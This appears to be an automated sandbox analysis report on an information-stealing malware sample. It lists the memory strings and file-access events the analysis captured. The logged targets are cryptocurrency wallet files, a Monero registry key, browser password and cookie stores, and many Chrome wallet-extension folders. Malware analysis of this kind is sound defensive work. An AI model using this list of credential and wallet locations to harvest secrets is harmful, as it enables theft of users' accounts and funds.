Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.0000000000531000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\.
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: window-state.json
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: exodus.conf.json
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: info.seco
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: ElectrumLTC
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: passphrase.json
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000005BF000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: Ethereum
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000005C2000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000003.2107150045.00000000011A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000005B8000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: MultiDoge
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000003.2107150045.00000000011A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
